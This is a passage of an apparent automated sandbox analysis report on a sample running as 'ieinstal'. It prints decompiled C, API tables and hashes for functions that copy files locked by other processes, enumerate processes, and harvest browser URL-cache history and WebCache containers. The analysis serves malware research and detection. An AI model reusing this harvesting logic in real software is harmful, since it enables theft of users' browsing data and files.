					 *((intOrPtr*)(_t185 + 0x25c)) = 2;
					_t156 =  *(_t184 + 0x22) & 0x000000ff;
					 *(_t185 + 0x10) = _t156;
					_t31 = _t184 + 0x23; // 0x23
					memcpy(_t185 + 0x14, _t31, _t156);
					_t189 = _t189 + 0xc;
					memcpy(_t185 + 0x12f,  *(_t185 + 0x10) + _t184 + 0x42, 0x10);
					_t153 =  *(_t185 + 0x10) + _t184 + 0x54;
					goto L13;
				}
			}







































                                                                                                                            0x004091b8
                                                                                                                            0x004091b8
                                                                                                                            0x004091b8
                                                                                                                            0x004091d2
                                                                                                                            0x004091d5
                                                                                                                            0x004091d8
                                                                                                                            0x004091db
                                                                                                                            0x004091e2
                                                                                                                            0x004091f7
                                                                                                                            0x004091fd
                                                                                                                            0x0040920d
                                                                                                                            0x00409210
                                                                                                                            0x00409215
                                                                                                                            0x00409218
                                                                                                                            0x0040921b
                                                                                                                            0x00409520
                                                                                                                            0x00409526
                                                                                                                            0x00409526
                                                                                                                            0x00409224
                                                                                                                            0x00409228
                                                                                                                            0x0040922e
                                                                                                                            0x00409231
                                                                                                                            0x00409236
                                                                                                                            0x0040923b
                                                                                                                            0x00409240
                                                                                                                            0x00409243
                                                                                                                            0x00409248
                                                                                                                            0x00409383
                                                                                                                            0x00409383
                                                                                                                            0x0040938a
                                                                                                                            0x0040938e
                                                                                                                            0x00409394
                                                                                                                            0x00409399
                                                                                                                            0x0040939e
                                                                                                                            0x004093a3
                                                                                                                            0x004093ab
                                                                                                                            0x004094ff
                                                                                                                            0x00409502
                                                                                                                            0x0040950b
                                                                                                                            0x0040950d
                                                                                                                            0x00409511
                                                                                                                            0x0040951d
                                                                                                                            0x0040951d
                                                                                                                            0x00409511
                                                                                                                            0x00000000
                                                                                                                            0x0040950b
                                                                                                                            0x004093d3
                                                                                                                            0x004093d4
                                                                                                                            0x004093dc
                                                                                                                            0x004093dd
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004093bc
                                                                                                                            0x004093c3
                                                                                                                            0x004093c8
                                                                                                                            0x004093cc
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004093ce
                                                                                                                            0x004093d1
                                                                                                                            0x004093e8
                                                                                                                            0x004093ed
                                                                                                                            0x004093f0
                                                                                                                            0x004093f4
                                                                                                                            0x004093f9
                                                                                                                            0x004093fb
                                                                                                                            0x004094f7
                                                                                                                            0x004094fa
                                                                                                                            0x00000000
                                                                                                                            0x004094fa
                                                                                                                            0x00409401
                                                                                                                            0x00409403
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00409411
                                                                                                                            0x00409419
                                                                                                                            0x0040941b
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00409429
                                                                                                                            0x00409431
                                                                                                                            0x00409433
                                                                                                                            0x004094ac
                                                                                                                            0x004094b4
                                                                                                                            0x004094b6
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004094b8
                                                                                                                            0x004094bd
                                                                                                                            0x004094c3
                                                                                                                            0x004094c5
                                                                                                                            0x004094d0
                                                                                                                            0x004094e8
                                                                                                                            0x004094ed
                                                                                                                            0x004094f4
                                                                                                                            0x00000000
                                                                                                                            0x004094f4
                                                                                                                            0x00409435
                                                                                                                            0x0040943c
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00409442
                                                                                                                            0x0040944c
                                                                                                                            0x00409451
                                                                                                                            0x00409457
                                                                                                                            0x00409462
                                                                                                                            0x0040947e
                                                                                                                            0x0040949a
                                                                                                                            0x0040949f
                                                                                                                            0x00000000
                                                                                                                            0x0040949f
                                                                                                                            0x004093d1
                                                                                                                            0x00000000
                                                                                                                            0x004093df
                                                                                                                            0x0040924f
                                                                                                                            0x00409257
                                                                                                                            0x00409258
                                                                                                                            0x0040937b
                                                                                                                            0x0040937e
                                                                                                                            0x00000000
                                                                                                                            0x0040937e
                                                                                                                            0x00409267
                                                                                                                            0x00409273
                                                                                                                            0x0040927f
                                                                                                                            0x00409284
                                                                                                                            0x0040928f
                                                                                                                            0x00409291
                                                                                                                            0x00000000
                                                                                                                            0x004092a9
                                                                                                                            0x004092a9
                                                                                                                            0x004092b2
                                                                                                                            0x004092b8
                                                                                                                            0x004092ba
                                                                                                                            0x004092bc
                                                                                                                            0x004092bc
                                                                                                                            0x004092c9
                                                                                                                            0x004092d9
                                                                                                                            0x004092de
                                                                                                                            0x004092e3
                                                                                                                            0x0040933b
                                                                                                                            0x00409340
                                                                                                                            0x00409343
                                                                                                                            0x00409345
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00409347
                                                                                                                            0x0040934c
                                                                                                                            0x0040934f
                                                                                                                            0x00409357
                                                                                                                            0x0040935f
                                                                                                                            0x00409363
                                                                                                                            0x00409370
                                                                                                                            0x00409375
                                                                                                                            0x00409378
                                                                                                                            0x00000000
                                                                                                                            0x00409378
                                                                                                                            0x004092e5
                                                                                                                            0x004092ec
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004092f2
                                                                                                                            0x004092fc
                                                                                                                            0x00409301
                                                                                                                            0x00409304
                                                                                                                            0x0040930c
                                                                                                                            0x00409314
                                                                                                                            0x00409325
                                                                                                                            0x0040932d
                                                                                                                            0x00000000
                                                                                                                            0x0040932d

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy$memcmp$ByteCharMultiWidememset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3715365532-3916222277
                                                                                                                            • Opcode ID: 01ed04e1a7b420fb387fb27120c7235570de5edaa712acc26e4f47695a5ab2cb
                                                                                                                            • Instruction ID: d5c0d9b4f94ac501fd0f2fb5594fd033b2d13f4c98b4255323c8c53c7695c3f7
                                                                                                                            • Opcode Fuzzy Hash: 01ed04e1a7b420fb387fb27120c7235570de5edaa712acc26e4f47695a5ab2cb
                                                                                                                            • Instruction Fuzzy Hash: DDA1BA71900605ABDB21EF65D885BAFB7BCAF44304F01043FF945E6282EB78EA458B59
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040E01E Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120fileCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E0040E01E(void* __eflags, intOrPtr* _a4, void* _a8, intOrPtr _a12) {
				struct _OVERLAPPED* _v8;
				struct _OVERLAPPED* _v12;
				void* _v16;
				intOrPtr _v20;
				long _v24;
				void* _v28;
				intOrPtr _v32;
				struct _OVERLAPPED* _v36;
				char _v40;
				void* __edi;
				void* __esi;
				intOrPtr _t43;
				void* _t47;
				void* _t50;
				long _t58;
				void* _t61;
				void* _t64;
				intOrPtr* _t69;
				intOrPtr _t73;
				void* _t76;

				_t69 = _a4;
				_t73 = _a12;
				 *_t69 = 0;
				_t43 = E00406214(_t73, __eflags, _a8);
				_v20 = _t43;
				if(_t43 == 0 &&  *((intOrPtr*)(_t73 + 0x414)) == 0x20) {
					_v8 = 0;
					_v12 = 0;
					_t47 = E0040DD85(_t69, _a8,  &_v8,  &_v12); // executed
					_t82 = _t47;
					if(_t47 != 0) {
						_v40 = 0;
						_v36 = 0;
						_v32 = 0x1388;
						E0040AFCF( &_v40, 0x8000, _t82);
						_t50 = OpenProcess(0x40, 0, _v8);
						_v16 = _t50;
						if(_t50 != 0) {
							_a8 = 0;
							DuplicateHandle(_v16, _v12, GetCurrentProcess(),  &_a8, 0x80000000, 0, 0); // executed
							if(_a8 != 0) {
								_t58 = GetFileSize(_a8, 0);
								_t75 = _a4;
								_v12 = _t58;
								E00409A45(_a4, "bhv"); // executed
								_v8 = E004096DC(_t75);
								_t61 = CreateFileMappingW(_a8, 0, 2, 0, 0, 0); // executed
								_v28 = _t61;
								if(_t61 != 0) {
									_t64 = MapViewOfFile(_t61, 4, 0, 0, _v12); // executed
									_t76 = _t64;
									if(_t76 != 0) {
										_v24 = 0;
										WriteFile(_v8, _t76, _v12,  &_v24, 0); // executed
										UnmapViewOfFile(_t76);
									}
									FindCloseChangeNotification(_v28); // executed
								}
								CloseHandle(_v8);
								CloseHandle(_a8);
							}
							CloseHandle(_v16);
							_t69 = _a4;
						}
						_t87 =  *_t69;
						if( *_t69 != 0) {
							_v20 = E00406214(_a12, _t87, _t69);
						}
						E0040B04B( &_v40);
					}
				}
				return _v20;
			}























                                                                                                                            0x0040e025
                                                                                                                            0x0040e02a
                                                                                                                            0x0040e034
                                                                                                                            0x0040e037
                                                                                                                            0x0040e03e
                                                                                                                            0x0040e041
                                                                                                                            0x0040e05f
                                                                                                                            0x0040e063
                                                                                                                            0x0040e066
                                                                                                                            0x0040e06b
                                                                                                                            0x0040e06d
                                                                                                                            0x0040e07b
                                                                                                                            0x0040e07e
                                                                                                                            0x0040e081
                                                                                                                            0x0040e088
                                                                                                                            0x0040e093
                                                                                                                            0x0040e09b
                                                                                                                            0x0040e09e
                                                                                                                            0x0040e0af
                                                                                                                            0x0040e0bf
                                                                                                                            0x0040e0ce
                                                                                                                            0x0040e0d4
                                                                                                                            0x0040e0da
                                                                                                                            0x0040e0e2
                                                                                                                            0x0040e0e5
                                                                                                                            0x0040e0fb
                                                                                                                            0x0040e0fe
                                                                                                                            0x0040e106
                                                                                                                            0x0040e109
                                                                                                                            0x0040e113
                                                                                                                            0x0040e119
                                                                                                                            0x0040e11d
                                                                                                                            0x0040e127
                                                                                                                            0x0040e12e
                                                                                                                            0x0040e135
                                                                                                                            0x0040e135
                                                                                                                            0x0040e13e
                                                                                                                            0x0040e13e
                                                                                                                            0x0040e143
                                                                                                                            0x0040e148
                                                                                                                            0x0040e148
                                                                                                                            0x0040e14d
                                                                                                                            0x0040e14f
                                                                                                                            0x0040e14f
                                                                                                                            0x0040e152
                                                                                                                            0x0040e155
                                                                                                                            0x0040e160
                                                                                                                            0x0040e160
                                                                                                                            0x0040e166
                                                                                                                            0x0040e166
                                                                                                                            0x0040e06d
                                                                                                                            0x0040e172

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040DD85: memset.MSVCRT ref: 0040DDAD
                                                                                                                              • Part of subcall function 0040DD85: CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DDD4
                                                                                                                              • Part of subcall function 0040DD85: NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                                                                                                                              • Part of subcall function 0040DD85: FindCloseChangeNotification.KERNELBASE(C0000004,?,000000FF,00000000,00000104), ref: 0040DE3E
                                                                                                                              • Part of subcall function 0040DD85: GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
                                                                                                                              • Part of subcall function 0040DD85: _wcsicmp.MSVCRT ref: 0040DEB2
                                                                                                                              • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                            • OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                                                                                                                            • GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                                                                                                                            • DuplicateHandle.KERNELBASE(?,00000104,00000000), ref: 0040E0BF
                                                                                                                            • GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                                                                                                                              • Part of subcall function 00409A45: GetTempPathW.KERNEL32(00000104,?,00445FAE), ref: 00409A5C
                                                                                                                              • Part of subcall function 00409A45: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                                                                                                                              • Part of subcall function 00409A45: GetTempFileNameW.KERNELBASE(?,0040B827,00000000,?), ref: 00409A85
                                                                                                                              • Part of subcall function 004096DC: CreateFileW.KERNELBASE(00000001,40000000,00000001,00000000,00000002,00000000,00000000,0040E0F1,00000104), ref: 004096EE
                                                                                                                            • CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                                                                                                                            • MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                                                                                                                            • WriteFile.KERNELBASE(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                                                                                                                            • UnmapViewOfFile.KERNEL32(00000000), ref: 0040E135
                                                                                                                            • FindCloseChangeNotification.KERNELBASE(?), ref: 0040E13E
                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040E143
                                                                                                                            • CloseHandle.KERNEL32(?), ref: 0040E148
                                                                                                                            • CloseHandle.KERNEL32(?), ref: 0040E14D
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: File$Close$Handle$CreateProcess$ChangeCurrentFindNotificationTempView$??2@DirectoryDuplicateInformationMappingNameOpenPathQuerySizeSystemUnmapWindowsWrite_wcsicmpmemset
                                                                                                                            • String ID: bhv
                                                                                                                            • API String ID: 327780389-2689659898
                                                                                                                            • Opcode ID: c96677cf1f2b88af9f6f98c954d74ea01aac065ab95576d822b7ccb478d5ef78
                                                                                                                            • Instruction ID: 69536691d8562172d0558c987aea6dfe4ed17d6a9a6de0cf2c6621a9a97a0e87
                                                                                                                            • Opcode Fuzzy Hash: c96677cf1f2b88af9f6f98c954d74ea01aac065ab95576d822b7ccb478d5ef78
                                                                                                                            • Instruction Fuzzy Hash: 15412775800218FBCF119FA6CC489DFBFB9FF09750F148466F504A6250D7748A50CBA8
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00413F4F Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 29libraryloaderCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 633 413f4f-413f52 634 413fa5 633->634 635 413f54-413f5a call 40a804 633->635 637 413f5f-413fa4 GetProcAddress * 5 635->637 637->634
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E00413F4F(struct HINSTANCE__** __esi) {
				void* _t6;
				struct HINSTANCE__* _t7;
				_Unknown_base(*)()* _t12;
				CHAR* _t13;
				intOrPtr* _t17;

				if( *__esi == 0) {
					_t7 = E0040A804("psapi.dll"); // executed
					 *_t17 = 0x454044;
					 *__esi = _t7;
					__esi[1] = GetProcAddress(_t7, _t13);
					__esi[2] = GetProcAddress( *__esi, "EnumProcessModules");
					__esi[4] = GetProcAddress( *__esi, "GetModuleFileNameExW");
					__esi[5] = GetProcAddress( *__esi, "EnumProcesses");
					_t12 = GetProcAddress( *__esi, "GetModuleInformation");
					__esi[3] = _t12;
					return _t12;
				}
				return _t6;
			}








                                                                                                                            0x00413f52
                                                                                                                            0x00413f5a
                                                                                                                            0x00413f65
                                                                                                                            0x00413f6d
                                                                                                                            0x00413f78
                                                                                                                            0x00413f84
                                                                                                                            0x00413f90
                                                                                                                            0x00413f9c
                                                                                                                            0x00413f9f
                                                                                                                            0x00413fa1
                                                                                                                            0x00000000
                                                                                                                            0x00413fa4
                                                                                                                            0x00413fa5

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                              • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                                                              • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                              • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                                                            • GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00413F6F
                                                                                                                            • GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 00413F7B
                                                                                                                            • GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00413F87
                                                                                                                            • GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00413F93
                                                                                                                            • GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00413F9F
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AddressProc$LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                                                            • String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
                                                                                                                            • API String ID: 2941347001-70141382
                                                                                                                            • Opcode ID: 39c22376907c33733211e363db3c4349312dc982ad78c4cc463d34b505bb12c7
                                                                                                                            • Instruction ID: 7b3d606b7d389a8205b465373562f67d85acf78e859b2fe1c5436fc88fb80995
                                                                                                                            • Opcode Fuzzy Hash: 39c22376907c33733211e363db3c4349312dc982ad78c4cc463d34b505bb12c7
                                                                                                                            • Instruction Fuzzy Hash: BBF03470840340AECB706F769809E06BEF0EFD8B097318C2EE6C557291E3BD9098DE48
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004466F4 Relevance: 18.1, APIs: 12, Instructions: 134COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 638 4466f4-44670e call 446904 GetModuleHandleA 641 446710-44671b 638->641 642 44672f-446732 638->642 641->642 643 44671d-446726 641->643 644 44675b-4467aa __set_app_type __p__fmode __p__commode call 4153f2 642->644 645 446747-44674b 643->645 646 446728-44672d 643->646 653 4467ac-4467b7 __setusermatherr 644->653 654 4467b8-44680e call 4468f0 _initterm __wgetmainargs _initterm 644->654 645->642 649 44674d-44674f 645->649 646->642 648 446734-44673b 646->648 648->642 651 44673d-446745 648->651 652 446755-446758 649->652 651->652 652->644 653->654 657 446810-446819 654->657 658 44681e-446825 654->658 659 4468d8-4468dd call 44693d 657->659 660 446827-446832 658->660 661 44686c-446870 658->661 662 446834-446838 660->662 663 44683a-44683e 660->663 665 446845-44684b 661->665 666 446872-446877 661->666 662->660 662->663 663->665 667 446840-446842 663->667 669 446853-446864 GetStartupInfoW 665->669 670 44684d-446851 665->670 666->661 667->665 671 446866-44686a 669->671 672 446879-44687b 669->672 670->667 670->669 673 44687c-446894 GetModuleHandleA call 41276d 671->673 672->673 676 446896-446897 exit 673->676 677 44689d-4468d6 _cexit 673->677 676->677 677->659
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: HandleModule_initterm$InfoStartup__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargs_cexitexit
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2827331108-0
                                                                                                                            • Opcode ID: 7ba7b2652c13871cd0d5cae79e0f4a701fe2602556b2c3d333f15f3a91922bbb
                                                                                                                            • Instruction ID: 0e3254bf032efe29fc581ce6ca9889a5a3d5d0d8e47fd2ea34fa35870f4f4cb9
                                                                                                                            • Opcode Fuzzy Hash: 7ba7b2652c13871cd0d5cae79e0f4a701fe2602556b2c3d333f15f3a91922bbb
                                                                                                                            • Instruction Fuzzy Hash: 9D51C474C41314DFEB21AF65D8499AD7BB0FB0A715F21452BE82197291D7788C82CF1E
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040C274 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 112COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E0040C274(void* __eax, void* __edx, void* __eflags) {
				long _v8;
				void* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				intOrPtr _v32;
				char _v36;
				void _v562;
				char _v564;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t38;
				intOrPtr _t42;
				void* _t44;
				void* _t48;
				long _t54;
				wchar_t* _t63;
				long _t68;
				void* _t75;
				void* _t76;
				struct _GOPHER_FIND_DATAA _t78;
				wchar_t* _t82;
				void* _t87;

				_t87 = __eflags;
				_t75 = __edx;
				_t76 = __eax;
				_v564 = 0;
				memset( &_v562, 0, 0x208);
				_t38 = 0x22;
				E00414C2E(_t38,  &_v564); // executed
				E0040C1D3(_t76, _t87,  &_v564); // executed
				_t42 = _t76 + 8;
				_v16 = _t42;
				_v32 = _t42;
				_v36 = 0x453114;
				_t44 = E0040E5ED(_t75, _t87,  &_v36); // executed
				_t88 =  *((intOrPtr*)(_t76 + 0x24)) -  *((intOrPtr*)(_t76 + 0x24));
				if( *((intOrPtr*)(_t76 + 0x24)) !=  *((intOrPtr*)(_t76 + 0x24))) {
					return _t44;
				}
				_v28 = 0;
				_v24 = 0;
				_v20 = 0x1388;
				_t68 = 0xfa00;
				E0040AFCF( &_v28, 0xfa00, _t88);
				_v8 = 0xfa00;
				_t78 = _v28;
				_t48 = FindFirstUrlCacheEntryW("visited:", _t78,  &_v8); // executed
				_v12 = _t48;
				if(_t48 == 0) {
					L9:
					return E0040B04B( &_v28);
				} else {
					goto L2;
				}
				do {
					do {
						L2:
						_t82 = wcschr( *(_t78 + 4), 0x40);
						if(_t82 != 0) {
							_t84 = _t82 + 2;
							E0040A8AB(_v16, _t82 + 2, 0);
							_t63 = wcschr( *(_t78 + 4), 0x3f);
							if(_t63 != 0) {
								 *_t63 =  *_t63 & 0x00000000;
								E0040A8AB(_v16, _t84, 0);
							}
						}
						_v8 = _t68;
					} while (FindNextUrlCacheEntryW(_v12, _t78,  &_v8) != 0);
					_t54 = GetLastError();
					_t94 = _t54 - 0x7a;
					if(_t54 != 0x7a) {
						break;
					}
					_t68 = _v8 + 0x2710;
					E0040AFCF( &_v28, _t68, _t94);
					_t78 = _v28;
					_v8 = _t68;
				} while (FindNextUrlCacheEntryW(_v12, _t78,  &_v8) != 0);
				FindCloseUrlCache(_v12);
				goto L9;
			}




























                                                                                                                            0x0040c274
                                                                                                                            0x0040c274
                                                                                                                            0x0040c287
                                                                                                                            0x0040c291
                                                                                                                            0x0040c298
                                                                                                                            0x0040c2a2
                                                                                                                            0x0040c2a9
                                                                                                                            0x0040c2ba
                                                                                                                            0x0040c2bf
                                                                                                                            0x0040c2c2
                                                                                                                            0x0040c2c5
                                                                                                                            0x0040c2cc
                                                                                                                            0x0040c2d3
                                                                                                                            0x0040c2d8
                                                                                                                            0x0040c2db
                                                                                                                            0x0040c3c2
                                                                                                                            0x0040c3c2
                                                                                                                            0x0040c2e9
                                                                                                                            0x0040c2ec
                                                                                                                            0x0040c2ef
                                                                                                                            0x0040c2f6
                                                                                                                            0x0040c2f8
                                                                                                                            0x0040c300
                                                                                                                            0x0040c303
                                                                                                                            0x0040c30d
                                                                                                                            0x0040c315
                                                                                                                            0x0040c318
                                                                                                                            0x0040c3b6
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040c31e
                                                                                                                            0x0040c31e
                                                                                                                            0x0040c31e
                                                                                                                            0x0040c329
                                                                                                                            0x0040c32f
                                                                                                                            0x0040c337
                                                                                                                            0x0040c339
                                                                                                                            0x0040c344
                                                                                                                            0x0040c34d
                                                                                                                            0x0040c34f
                                                                                                                            0x0040c359
                                                                                                                            0x0040c359
                                                                                                                            0x0040c34d
                                                                                                                            0x0040c366
                                                                                                                            0x0040c36f
                                                                                                                            0x0040c373
                                                                                                                            0x0040c379
                                                                                                                            0x0040c37c
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040c381
                                                                                                                            0x0040c38c
                                                                                                                            0x0040c391
                                                                                                                            0x0040c39c
                                                                                                                            0x0040c3a5
                                                                                                                            0x0040c3b0
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0040C298
                                                                                                                              • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E60F
                                                                                                                              • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E629
                                                                                                                              • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                            • FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                                                                                                                            • wcschr.MSVCRT ref: 0040C324
                                                                                                                            • wcschr.MSVCRT ref: 0040C344
                                                                                                                            • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                                                                                                                            • GetLastError.KERNEL32 ref: 0040C373
                                                                                                                            • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C39F
                                                                                                                            • FindCloseUrlCache.WININET(?), ref: 0040C3B0
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CacheFind$Entrymemset$Nextwcschr$??2@CloseErrorFirstLast
                                                                                                                            • String ID: visited:
                                                                                                                            • API String ID: 1157525455-1702587658
                                                                                                                            • Opcode ID: e6e827466474dba504c602eadc9ccabadb05f86476a5423d269347cfbfdac146
                                                                                                                            • Instruction ID: 6629d855392f08d41decd2a192e4b6579142cf3eaa95f33c860a05aa0b18639b
                                                                                                                            • Opcode Fuzzy Hash: e6e827466474dba504c602eadc9ccabadb05f86476a5423d269347cfbfdac146
                                                                                                                            • Instruction Fuzzy Hash: DA417F71D00219ABDB10EF92DC85AEFBBB8FF45714F10416AE904F7281D7389A45CBA9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040E175 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 91COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 704 40e175-40e1a1 call 40695d call 406b90 709 40e1a7-40e1e5 memset 704->709 710 40e299-40e2a8 call 4069a3 704->710 712 40e1e8-40e1fa call 406e8f 709->712 716 40e270-40e27d call 406b53 712->716 717 40e1fc-40e219 call 40dd50 * 2 712->717 716->712 722 40e283-40e286 716->722 717->716 728 40e21b-40e21d 717->728 725 40e291-40e294 call 40aa04 722->725 726 40e288-40e290 ??3@YAXPAX@Z 722->726 725->710 726->725 728->716 729 40e21f-40e235 call 40742e 728->729 729->716 732 40e237-40e242 call 40aae3 729->732 732->716 735 40e244-40e26b _snwprintf call 40a8d0 732->735 735->716
                                                                                                                            C-Code - Quality: 82%
                                                                                                                            			E0040E175(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				int _v8;
				intOrPtr _v12;
				int _v16;
				char _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				int _v36;
				char _v40;
				void _v554;
				char _v556;
				char _v1916;
				void* __edi;
				void* __esi;
				void* _t32;
				void* _t52;
				void* _t53;
				void* _t55;
				void* _t58;
				intOrPtr _t59;
				intOrPtr _t63;
				void* _t64;
				void* _t65;

				_t55 = __edx;
				_t52 = __ecx;
				E0040695D( &_v1916);
				_t32 = E00406B90(_t52, _t55,  &_v1916, "Containers", _a4); // executed
				if(_t32 == 0) {
					L12:
					return E004069A3( &_v1916);
				} else {
					_v556 = 0;
					memset( &_v554, 0, 0x1fe);
					_t65 = _t64 + 0xc;
					_v28 = 0;
					_v40 = 0;
					_v36 = 0;
					_v24 = 0x100;
					_v32 = 0;
					_v12 = 0x20;
					_v20 = 0;
					_v8 = 0;
					_v16 = 0;
					do {
						if(E00406E8F(0,  &_v1916,  &_v20) != 0) {
							_t58 = E0040DD50( &_v20, "ContainerId");
							_t53 = E0040DD50( &_v20, "Name");
							if(_t58 != 0 && _t53 != 0) {
								_t63 =  *((intOrPtr*)(_t58 + 0x220));
								_t59 =  *((intOrPtr*)(_t58 + 0x224));
								if(E0040742E( &_v40, _t53) != 0 && E0040AAE3( &_v40) == 0) {
									0x4465cc( &_v556, 0xff, "Container_%I64d", _t63, _t59);
									_t65 = _t65 + 0x14;
									E0040A8D0(_a8, _t53,  &_v556, 0xffffffff);
								}
							}
						}
					} while (E00406B53( &_v1916) != 0);
					if(_v20 != 0) {
						0x4466a0(_v20);
					}
					E0040AA04( &_v40);
					goto L12;
				}
			}


























                                                                                                                            0x0040e175
